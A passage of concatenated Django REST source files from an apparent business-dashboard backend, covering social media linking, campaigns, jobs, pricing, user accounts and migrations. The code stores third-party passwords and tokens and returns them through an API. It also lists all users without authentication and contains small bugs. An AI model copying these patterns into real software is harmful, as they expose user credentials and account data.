df_bl_dta= DfBusinessLocation.objects.get(id=location_id)
location_id_get = df_bl_dta
else:
mes = "Your location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
return location_id_get
class GetOpneHourByLocationIdViewSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
set_type = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
location_id_get = None
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
set_type = data.get("set_type", "")
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfBusinessLocation_ins = get_object_or_404(DfBusinessLocation, id=location_id,DfUser=get_Dfuser_ins)
df_bl_dta= DfBusinessLocation.objects.get(id=location_id)
location_id_get = df_bl_dta
else:
mes = "Your location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
return location_id_get<file_sep>from django.shortcuts import render,get_object_or_404
from rest_framework.views import APIView
from rest_framework.authentication import TokenAuthentication,SessionAuthentication,BasicAuthentication
from rest_framework.permissions import IsAuthenticated
from dashifyproject.tokens import CsrfExemptSessionAuthentication
from .serializear import RemoveOneSocialcMediaSerializers,OneSocialcMediaSerializers,AddSocialcMediaSerializers,GetSocialMediaSerializers
from accounts.models import DfUser
from rest_framework.response import Response
from rest_framework import exceptions
from .models import DfSocialMedia
# Create your views here.
# ==========================================AddSocialcMedia START =================
class AddSocialMedia(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
data = {}
if request.method == "POST":
request.data["user_id"]=self.request.user.id
serializer = AddSocialcMediaSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
print(request.data["location_id"])
data['social_platfrom_id'] = serializer.validated_data['social_platfrom_id']
data['conect_to_location_id'] = serializer.validated_data['conect_to_location_id']
message = "Social Media info Add"
return Response({"message": message,"data":data}, status=200)
# ==========================================AddSocialcMedia END =================
# ==========================================AllSocialPlatforms START =================
class AllSocialPlatforms(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
Social_platform = {}
if DfUser.objects.filter(user=self.request.user).exists():
get_Dfuser_ins = get_object_or_404(DfUser,user=self.request.user)
if DfSocialMedia.objects.filter(DfUser=get_Dfuser_ins).exists():
get_all_DfSocialMedia = DfSocialMedia.objects.filter(DfUser=get_Dfuser_ins)
get_all_DfSocialMedia_sri = GetSocialMediaSerializers(get_all_DfSocialMedia, many=True)
Social_platform = get_all_DfSocialMedia_sri.data
else:
msg = "Login User is not exists"
raise exceptions.ValidationError(msg)
return Response({"social_platforms":Social_platform},status=200)
# ==========================================AllSocialPlatforms END ===================
# ==========================================OneSocialPlatforms START ===================
class OneSocialPlatforms(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
if request.method == "POST":
Social_platform = {}
request.data["user_id"] = self.request.user.id
serializer = OneSocialcMediaSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
get_data = serializer.validated_data
get_one_DfSocialMedia_sri = GetSocialMediaSerializers(get_data)
Social_platform = get_one_DfSocialMedia_sri.data
return Response({"social_platforms": Social_platform}, status=200)
# ==========================================OneSocialPlatforms END =====================
# ==========================================RemoveSocialPlatforms END =====================
class RemoveSocialPlatforms(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
if request.method == "POST":
Social_platform = {}
request.data["user_id"] = self.request.user.id
serializer = RemoveOneSocialcMediaSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
get_data = serializer.validated_data
return Response({"message": get_data}, status=200)
# ==========================================RemoveSocialPlatforms END =====================<file_sep># Generated by Django 3.0.4 on 2020-04-09 18:12
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0003_dfuser_address'),
]
operations = [
migrations.AlterField(
model_name='dfuser',
name='Last_login',
field=models.DateTimeField(blank=True, null=True),
),
]
<file_sep>from rest_framework import serializers
from .models import DfPrice
class DfPriceSerializer(serializers.ModelSerializer):
class Meta:
model = DfPrice
fields = ['id', 'Package_Type', 'Price','Duration_Type','Duration_time','Start','Orders_set','Create_Date']
depth = 2<file_sep># Generated by Django 3.0.6 on 2020-08-10 07:48
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import manage_campus.models
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0019_auto_20200420_1405'),
('accounts', '0007_auto_20200806_1201'),
('manage_campus', '0002_auto_20200810_0739'),
]
operations = [
migrations.CreateModel(
name='DfCampaign',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Title', models.CharField(max_length=150)),
('Sent_from', models.CharField(max_length=150)),
('replay_to', models.CharField(max_length=150)),
('message', models.TextField(blank=True, null=True)),
('Image', models.ImageField(blank=True, null=True, upload_to=manage_campus.models.user_directory_path_for_banner)),
('sms_message', models.TextField(blank=True, null=True)),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('BusinessLocation', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_locations.DfBusinessLocation')),
('DfUser', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
],
options={
'verbose_name_plural': 'DF Campaign',
},
),
migrations.DeleteModel(
name='DfCampus',
),
]
<file_sep>from django.contrib import admin
from .models import DfBusinessCategory,DfCountry,DfState
from import_export.admin import ImportExportModelAdmin
# Register your models here.
class DfBusinessCategoryAdmin(ImportExportModelAdmin):
search_fields = ['Category_Name']
list_display = ('Category_Name','Status','Create_by','Create_date')
list_filter = ('Status','Create_by','Create_date',)
class DfCountryAdmin(ImportExportModelAdmin):
search_fields = ['Country_Name']
list_display = ('Country_Name','Status','Create_by','Create_date')
list_filter = ('Status','Create_by','Create_date',)
class DfStateAdmin(ImportExportModelAdmin):
search_fields = ['State_name']
list_display = ('State_name','Country_Name','Status','Create_by','Create_date')
list_filter = ('Country_Name','Status','Create_by','Create_date',)
admin.site.register(DfBusinessCategory,DfBusinessCategoryAdmin)
admin.site.register(DfCountry,DfCountryAdmin)
admin.site.register(DfState,DfStateAdmin)
<file_sep>from rest_framework import serializers
from .models import DfBlogs
class DfBlogsSerializer(serializers.ModelSerializer):
class Meta:
model = DfBlogs
fields = ['id', 'Blog_Title', 'Blog_slug', 'Blog_Image', 'Message','Create_date']<file_sep>from .models import DfJobs,DfJobApplaicationSet
from .serializers import DfJobsSerializer,DfJobsApplicationSerializer
from rest_framework import generics,viewsets
from .api_pagination import ProductLimitOffsetPagination , PrtoductPageNumberPagination
# Create your views here.
class GetJobs(generics.ListCreateAPIView):
queryset = DfJobs.objects.all().order_by("-id")
serializer_class = DfJobsSerializer
agination_class = PrtoductPageNumberPagination
class AddJobsApplication(generics.ListCreateAPIView):
queryset = DfJobApplaicationSet.objects.all().order_by("-id")
serializer_class = DfJobsApplicationSerializer
agination_class = PrtoductPageNumberPagination
class GetOneJob(generics.RetrieveAPIView):
queryset = DfJobs.objects.all()
serializer_class = DfJobsSerializer
<file_sep>from rest_framework import serializers
from django.shortcuts import get_object_or_404
from rest_framework import exceptions
from accounts.models import DfUser
from .models import DfSocialMedia
from manage_locations.models import DfLocationConnectPlatform,DfBusinessLocation
class GetSocialMediaSerializers(serializers.ModelSerializer):
class Meta:
model = DfSocialMedia
fields = ['id', 'Platform', 'Token', 'Username', 'Email', 'Password',
'Connect_status', 'Other_info', 'Craete_Date', 'Update_Date','DfUser']
depth = 2
class AddSocialcMediaSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Platform = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Token = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
Username = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
Email = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
Password = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
Connect_status = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
Other_info = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
Platform = data.get("Platform", "")
Token = data.get("Token", "")
Username = data.get("Username", "")
Email = data.get("Email", "")
Password = data.get("Password", "")
Connect_status = data.get("Connect_status", "")
Other_info = data.get("Other_info", "")
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser,user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfBusinessLocation_ins = get_object_or_404(DfBusinessLocation, id=location_id,DfUser=get_Dfuser_ins)
add_social_media = DfSocialMedia(
DfUser = get_Dfuser_ins,
Platform=Platform,
Token=Token,
Username=Username,
Email=Email,
Password=<PASSWORD>,
Connect_status=Connect_status,
Other_info=Other_info
)
add_social_media.save()
Connection_Status = Connect_status
connect_plat = DfLocationConnectPlatform(
DfUser = get_Dfuser_ins,
Business_Location = get_DfBusinessLocation_ins,
Social_Platform = add_social_media,
Connection_Status = Connection_Status
)
connect_plat.save()
data["social_platfrom_id"] = add_social_media.id
data["conect_to_location_id"] = connect_plat.id
else:
mes = "Your location_id is incorrect"
raise exceptions.ValidationError(mes)
else:
mes = "Your user id is incorrect"
raise exceptions.ValidationError(mes)
return data
class OneSocialcMediaSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
platform_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
platform_id = data.get("platform_id", "")
get_data = None
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfSocialMedia.objects.filter(id=platform_id).exists():
get_one_SM_platform = get_object_or_404(DfSocialMedia,id=platform_id)
if get_one_SM_platform.DfUser.id == get_Dfuser_ins.id:
get_data = get_one_SM_platform
else:
msg = "This platform_id is not related to currend login user"
raise exceptions.ValidationError(msg)
else:
msg = "Platform_id is not exists"
raise exceptions.ValidationError(msg)
else:
mes = "Your user id is incorrect"
raise exceptions.ValidationError(mes)
return get_data
class RemoveOneSocialcMediaSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
platform_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
platform_id = data.get("platform_id", "")
get_data = None
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfSocialMedia.objects.filter(id=platform_id).exists():
get_one_SM_platform = get_object_or_404(DfSocialMedia,id=platform_id)
if get_one_SM_platform.DfUser.id == get_Dfuser_ins.id:
DfSocialMedia.objects.filter(id=platform_id).delete()
get_data = "Platform removed successfully"
else:
msg = "This platform_id is not related to currend login user"
raise exceptions.ValidationError(msg)
else:
msg = "Platform_id is not exists"
raise exceptions.ValidationError(msg)
else:
mes = "Your user id is incorrect"
raise exceptions.ValidationError(mes)
return get_data
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfFaqs,DfFaqCategory
# Register your models here.
admin.site.register(DfFaqCategory)
class DfFaqsAdmin(ImportExportModelAdmin):
list_display = ('Question','Category','Question_slug','Ansews','Create_date')
admin.site.register(DfFaqs,DfFaqsAdmin)<file_sep>from django.apps import AppConfig
class ManageLocationsConfig(AppConfig):
name = 'manage_locations'
<file_sep>from rest_framework import serializers
from .models import DfOrders,DfOrdersAndPayment
from manage_pricing.models import DfPrice
from accounts.models import DfUser
class DfOrderSerializer(serializers.ModelSerializer):
# Job_DfJobs = DfJobsSerializer(read_only=True,many=True)
DfUser = serializers.PrimaryKeyRelatedField(many=False,queryset=DfUser.objects.all())
Package = serializers.PrimaryKeyRelatedField(many=False,queryset=DfPrice.objects.all())
class Meta:
model = DfOrders
fields = ['id', 'Order_id', 'DfUser','Package','Final_Amount','Duration_Type','Duration_Time','Create_Date','Payment','Payment_Type','Transaction_id','Payment_Date','Active','Start_Date','End_Date']
depth = 2
class DfOrdersAndPaymentSerializer(serializers.ModelSerializer):
# Job_DfJobs = DfJobsSerializer(read_only=True,many=True)
DfUser = serializers.PrimaryKeyRelatedField(many=False,queryset=DfUser.objects.all())
Package = serializers.PrimaryKeyRelatedField(many=False,queryset=DfPrice.objects.all())
class Meta:
model = DfOrdersAndPayment
fields = ['id', 'Order_id', 'DfUser','Package','Final_Amount','Duration_Type','Duration_Time','Create_Date','Payment','Payment_Type','Transaction_id','Payment_Date','Active','Start_Date','End_Date']
depth = 2<file_sep># Generated by Django 3.0.6 on 2020-09-22 11:54
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0004_auto_20200922_1146'),
('manage_orders_and_payments', '0002_auto_20200922_1152'),
]
operations = [
migrations.AlterField(
model_name='dforders',
name='Package',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_pricing.DfPrice'),
),
]
<file_sep>from rest_framework.views import APIView
from django.shortcuts import redirect,get_object_or_404
from rest_framework.response import Response
from datetime import datetime
from .serializear import PaswordResetSerializers,EmailSerializers,AccountActivateSerializers,UserSerializers,RegistrationSerializers,LoginSerializers,DfUserSerializers
from rest_framework.authtoken.models import Token
from django.contrib.auth import login as django_login ,logout as django_logout
from rest_framework.authentication import TokenAuthentication,SessionAuthentication,BasicAuthentication
from rest_framework.permissions import IsAuthenticated
from .models import DfUser
from django.contrib.auth.models import User
from django.conf import settings
from django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode
from rest_framework import exceptions
from django.template.loader import render_to_string
import email.message
import smtplib
from dashifyproject.tokens import account_activation_token,CsrfExemptSessionAuthentication
from django.utils.encoding import force_bytes, force_text
from django.views.decorators.csrf import csrf_exempt
# Create your views here.
class Testdata(APIView):
def get(self,request):
return Response("skdjncdj")
def open_admin(request):
return redirect(settings.BASE_URL+"admin")
def send_forget_pasword_link(user_id,yourname,user_email_set):
# ====================================== SEND MAIL ===============
user_id = user_id
uid = urlsafe_base64_encode(force_bytes(user_id))
get_user_instant = User.objects.get(email=user_email_set)
token_get = account_activation_token.make_token(get_user_instant)
forget_password_linki = settings.BASE_URL_OTHER_SITE + "password-reset/" + uid + "/" + token_get
logo_image = settings.BASE_URL + 'static/logo.png'
yourname = yourname
user_email = user_email_set
data_content = {"BASE_URL_other_site": settings.BASE_URL_OTHER_SITE, "BASE_URL": settings.BASE_URL,
"yourname": yourname, "user_email": user_email,
"logo_image": logo_image, "forget_password_linki": forget_password_linki}
email_content = render_to_string('email_template/email_send_for_forget_password.html', data_content)
msg = email.message.Message()
msg['Subject'] = 'Password Reset Link'
msg['From'] = settings.EMAIL_HOST_USER
msg['To'] = user_email
password = settings.EMAIL_HOST_PASSWORD
msg.add_header('Content-Type', 'text/html')
msg.set_payload(email_content)
s = smtplib.SMTP(settings.EMAIL_HOST + ':' + str(settings.EMAIL_PORT))
s.starttls()
s.login(msg['From'], password)
s.sendmail(msg['From'], [msg['To']], msg.as_string())
return "True"
# ====================================== SEND MAIL ===============
def send_varification_link(user_id,yourname,user_email_set):
# ====================================== SEND MAIL ===============
user_id = user_id
uid = urlsafe_base64_encode(force_bytes(user_id))
get_user_instant = User.objects.get(email=user_email_set)
token_get = account_activation_token.make_token(get_user_instant)
varification_link = settings.BASE_URL_OTHER_SITE + "Login/" + uid + "/" + token_get
logo_image = settings.BASE_URL + 'static/logo.png'
yourname = yourname
user_email = user_email_set
data_content = {"BASE_URL_other_site": settings.BASE_URL_OTHER_SITE, "BASE_URL": settings.BASE_URL,
"yourname": yourname, "user_email": user_email,
"logo_image": logo_image, "varification_link": varification_link}
email_content = render_to_string('email_template/email_send_for_create_new_account.html', data_content)
msg = email.message.Message()
msg['Subject'] = 'Account Create successfully'
msg['From'] = settings.EMAIL_HOST_USER
msg['To'] = user_email
password = settings.EMAIL_HOST_PASSWORD
msg.add_header('Content-Type', 'text/html')
msg.set_payload(email_content)
s = smtplib.SMTP(settings.EMAIL_HOST + ':' + str(settings.EMAIL_PORT))
s.starttls()
s.login(msg['From'], password)
s.sendmail(msg['From'], [msg['To']], msg.as_string())
return "True"
# ====================================== SEND MAIL ===============
# ======================================Forgate password send link start=====================================================
class GetLinkOfForgetPassword(APIView):
def post(self,request):
if request.method == "POST":
UserSerializer = EmailSerializers(data=request.data)
UserSerializer.is_valid(raise_exception=True)
user = UserSerializer.validated_data['user']
send_forget_pasword_link(user.id,user.first_name+" "+user.last_name,user.email)
message = "Pasword reset link is sent to your register email."
return Response( {"message":message})
# ======================================Forgate password send link end=====================================================
class SendVarificationLink(APIView):
def post(self,request):
if request.method == "POST":
UserSerializer = EmailSerializers(data=request.data)
UserSerializer.is_valid(raise_exception=True)
user = UserSerializer.validated_data['user']
send_varification_link(user.id,user.first_name+" "+user.last_name,user.email)
message = "Account varification link is send to your mail."
return Response( {"message":message})
class UserList(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
users = DfUser.objects.all()
UserSerializer = DfUserSerializers(users,many=True)
return Response(UserSerializer.data)
class ResetPasswordView(APIView):
def post(self,request):
if request.method == "POST":
serializer = PaswordResetSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
return Response({"messgae": serializer.validated_data}, status=200)
class ActivateYoutAccount(APIView):
def post(self,request):
if request.method == "POST":
serializer = AccountActivateSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
return Response({"messgae": serializer.validated_data}, status=200)
class UserRegistration(APIView):
def post(self,request):
if request.method == "POST":
serializer = RegistrationSerializers(data=request.data)
data = {}
if serializer.is_valid():
user = serializer.save()
data['response'] = "Account create successfuly"
data['email'] = user.email
data['username'] = user.username
token = Token.objects.get(user=user).key
data['Token'] = token
send_varification_link(user.id,user.first_name+" "+user.last_name,user.email)
else:
data = serializer.errors
return Response(data)
class LoginView(APIView):
@csrf_exempt
def post(self,request):
serializer = LoginSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
user = serializer.validated_data['user']
django_login(request,user)
token ,create = Token.objects.get_or_create(user=user)
DfUser.objects.filter(user=user).update(Last_login=datetime.now())
get_user_info = DfUser.objects.filter(user=user)
get_user_info_seri = DfUserSerializers(get_user_info,many=True)
return Response({"message":"Login successfully", "Token":token.key,"user_info":get_user_info_seri.data},status=200)
class LogoutView(APIView):
authentication_classes = (TokenAuthentication,)
def post(self,request):
django_logout(request)
return Response(status=204)
class LoginUserInfoView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
user_data = {}
if DfUser.objects.filter(user=self.request.user).exists():
get_Dfuser_ins = get_object_or_404(DfUser,user=self.request.user)
get_user_info_seri = DfUserSerializers(get_Dfuser_ins)
user_data = get_user_info_seri.data
else:
message = "User not found."
raise exceptions.ValidationError(message)
return Response({"user_info":user_data},status=200)
class GgetAllUser(APIView):
def get(self,request):
user_data = []
if User.objects.all().exists():
get_Dfuser_ins = User.objects.all().order_by('username')
if get_Dfuser_ins:
for item in get_Dfuser_ins:
user_data.append(item.username)
return Response({"user_info":user_data},status=200)
<file_sep># Generated by Django 3.0.5 on 2020-04-16 10:51
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0011_dflocationopenhours'),
]
operations = [
migrations.AddField(
model_name='dflocationopenhours',
name='end_time_2',
field=models.CharField(blank=True, max_length=20, null=True),
),
]
<file_sep>from django.db import models
from accounts.models import DfUser
from manage_locations.models import DfBusinessLocation
import django
# Create your models here.
class DfLocationReviews(models.Model):
Df_User = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
Business_Location = models.ForeignKey(DfBusinessLocation, on_delete=models.SET_NULL, null=True, blank=True)
Social_Plateform = models.CharField(max_length=50,null=True,blank=True)
User_Name = models.CharField(max_length=50,null=True,blank=True)
Reating = models.CharField(max_length=50,null=True,blank=True)
Review = models.TextField(null=True,blank=True)
User_Image_URL = models.TextField(max_length=50, null=True, blank=True)
Review_dateTime = models.CharField(max_length=50, null=True, blank=True)
Craete_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.User_Name
class Meta:
verbose_name_plural = "DF Business Reviews"
<file_sep># Generated by Django 3.0.6 on 2020-09-22 11:08
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='dfprice',
name='Duration_Type',
field=models.CharField(blank=True, choices=[('D', 'Days'), ('M', 'Mohnth'), ('Y', 'Year')], max_length=120, null=True, unique=True),
),
migrations.AddField(
model_name='dfprice',
name='Duration_time',
field=models.IntegerField(default=0),
),
migrations.AlterField(
model_name='dfprice',
name='Package_Type',
field=models.CharField(choices=[('S', 'Start'), ('B', 'Business'), ('P', 'Professional'), ('M', 'Max')], max_length=120, unique=True),
),
]
<file_sep># Generated by Django 3.0.4 on 2020-04-09 17:58
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('accounts', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='DfUser',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first_name', models.CharField(blank=True, max_length=20, null=True)),
('last_name', models.CharField(blank=True, max_length=20, null=True)),
('Business_name', models.CharField(blank=True, max_length=20, null=True)),
('City', models.CharField(blank=True, max_length=20, null=True)),
('State', models.CharField(blank=True, max_length=20, null=True)),
('Zip', models.IntegerField(blank=True, null=True)),
('UserType', models.CharField(default='User', max_length=20)),
('Last_login', models.DateTimeField()),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'DF User',
},
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-19 12:25
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_jobs', '0002_auto_20200919_1201'),
]
operations = [
migrations.RemoveField(
model_name='dfjobapplaication',
name='Job',
),
migrations.RemoveField(
model_name='dfjobapplaication',
name='job_category',
),
migrations.AddField(
model_name='dfjobapplaication',
name='Job_title',
field=models.ForeignKey(default='', on_delete=django.db.models.deletion.SET_DEFAULT, related_name='Job_DfJobs', to='manage_jobs.DfJobs'),
),
migrations.AddField(
model_name='dfjobapplaication',
name='job_cate',
field=models.ForeignKey(default='', on_delete=django.db.models.deletion.SET_DEFAULT, related_name='AwWineType_DfApplay', to='manage_jobs.DfJobCategory'),
),
]
<file_sep># Generated by Django 3.0.4 on 2020-04-20 09:44
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('reviews', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='dflocationreviews',
old_name='User',
new_name='Df_User',
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-22 14:34
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0010_auto_20200922_1236'),
]
operations = [
migrations.AlterField(
model_name='dfprice',
name='Package_Type',
field=models.OneToOneField(null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_pricing.DfPackageName'),
),
]
<file_sep>from django.urls import path
from . import views
urlpatterns = [
path('add-account', views.AddSocialMedia.as_view()),
path('get-all-social-platforms', views.AllSocialPlatforms.as_view()),
path('get-one-social-platforms', views.OneSocialPlatforms.as_view()),
path('remove-one-social-platforms', views.RemoveSocialPlatforms.as_view()),
]<file_sep>from django.db import models
import django
from autoslug import AutoSlugField
from datetime import date
# Create your models here.
class DfJobCategory(models.Model):
CategoryName = models.CharField(max_length=120,unique=True)
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.CategoryName
class Meta:
verbose_name_plural = "DF Job Category"
class DfJobs(models.Model):
Category_name = models.ForeignKey(DfJobCategory, on_delete=models.SET_NULL, null=True, blank=True,related_name='AwWineType_DfJobs')
Job_Title = models.CharField(max_length=120)
Job_slug = AutoSlugField(populate_from='Job_Title', always_update=True, unique_with='Create_date__month',null=True, blank=True)
Job_Description = models.TextField()
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Job_Title
class Meta:
verbose_name_plural = "DF Jobs"
class DfJobApplaicationSet(models.Model):
Job_title = models.ForeignKey(DfJobs, on_delete=models.CASCADE, related_name='Job_DfJobs')
job_cate = models.ForeignKey(DfJobCategory, on_delete=models.CASCADE,related_name='AwWineType_DfApplay' )
Name = models.CharField(max_length=120)
email = models.EmailField(max_length=120)
contact_no = models.BigIntegerField()
Application_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return str(self.Job_title)
class Meta:
verbose_name_plural = "DF Job Applaication"
<file_sep>from django.apps import AppConfig
class ManageOrdersAndPaymentsConfig(AppConfig):
name = 'manage_orders_and_payments'
<file_sep>from django.urls import path
from . import views
from django.views.decorators.csrf import csrf_exempt
urlpatterns = [
path('', views.AddQuery.as_view()),
]<file_sep>from django.apps import AppConfig
class ManageJobsConfig(AppConfig):
name = 'manage_jobs'
<file_sep>from django.shortcuts import render,get_object_or_404
from rest_framework.views import APIView
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import exceptions
from rest_framework.authentication import TokenAuthentication,SessionAuthentication,BasicAuthentication
from rest_framework.permissions import IsAuthenticated
from .serializear import AddCampaignSerializers,GetAllCampaignSerializers,GetAllCampaignSerializersData,GetAllCampaignSerializersCheckCampaignid
from .serializear import RemovecampaignByIdSerializers,UploadImageViewSerializers,GetAllEmailSerializersCheckCampaignid,GetAllEmailSerializersData
from dashifyproject.tokens import CsrfExemptSessionAuthentication
from accounts.models import DfUser
from manage_locations.models import DfBusinessLocation
from .models import DfCampaign,DfUseremail,DfUploadImage
from datetime import date
from datetime import datetime
import base64
from django.core.files.base import ContentFile
from manage_dropdown_value.models import DfBusinessCategory,DfCountry,DfState
import email.message
from django.template.loader import render_to_string
import smtplib
from django.conf import settings
class RemoveEmailByCampaignIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
all_connection_set = {}
if request.method == "POST":
message = ""
request.data["user_id"] = self.request.user.id
serializer = GetAllEmailSerializersCheckCampaignid(data=request.data)
serializer.is_valid(raise_exception=True)
email_ids = request.data["email_ids"]
if email_ids:
email_ids_in_list = email_ids.split(",")
DfUseremail.objects.filter(Campign=serializer.validated_data).filter(id__in=email_ids_in_list).delete()
message = "Emails removed"
else:
data_response = "please provide email_ids"
raise exceptions.ValidationError(mes)
return Response({"messgae":message}, status=200)
class GetEmailByIdView(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
all_Email_data = {}
request.data["user_id"] = self.request.user.id
serializer = GetAllEmailSerializersCheckCampaignid(data=request.data)
serializer.is_valid(raise_exception=True)
if DfUseremail.objects.filter(Campign=serializer.validated_data).exists():
get_emails = DfUseremail.objects.filter(Campign=serializer.validated_data)
all_EmailSerializer = GetAllEmailSerializersData(get_emails,many=True)
all_Email_data = all_EmailSerializer.data
return Response({"emails": all_Email_data}, status=200)
class UploadImageView(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
data_response = {}
request.data["user_id"] = self.request.user.id
serializer = UploadImageViewSerializers(data=request.data)
if serializer.is_valid():
user_id = self.request.user.id
if DfUser.objects.filter(user__id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user__id=user_id)
# add image start
image_file_get_cover = request.data["UploadFile"]
format_cover, imgstr_cover = image_file_get_cover.split(';base64,')
ext_cover = format_cover.split('/')[-1]
today_date = date.today()
set_file_name_cover = str(today_date.day) + "_" + str(today_date.month) + "_" + str(
today_date.year)
file_name_cover = set_file_name_cover + "." + ext_cover
upload_image_get = ContentFile(base64.b64decode(imgstr_cover), name=file_name_cover)
upload_image = upload_image_get
upload_imaage_ins = DfUploadImage(
DfUser=get_Dfuser_ins,
UploadFile=upload_image
)
upload_imaage_ins.save()
data_response["message"] = "Image Upload successfully."
data_response["image_id"] = upload_imaage_ins.id
data_response["image_url"] = upload_imaage_ins.UploadFile.url
get_data = "Campaign create successfully."
# add image end
else:
mes = "Your user_id is incorrect."
data_response = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
data_response = serializer.errors
return Response(data_response)
class AddCampaignView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
data_response = {}
if request.method == "POST":
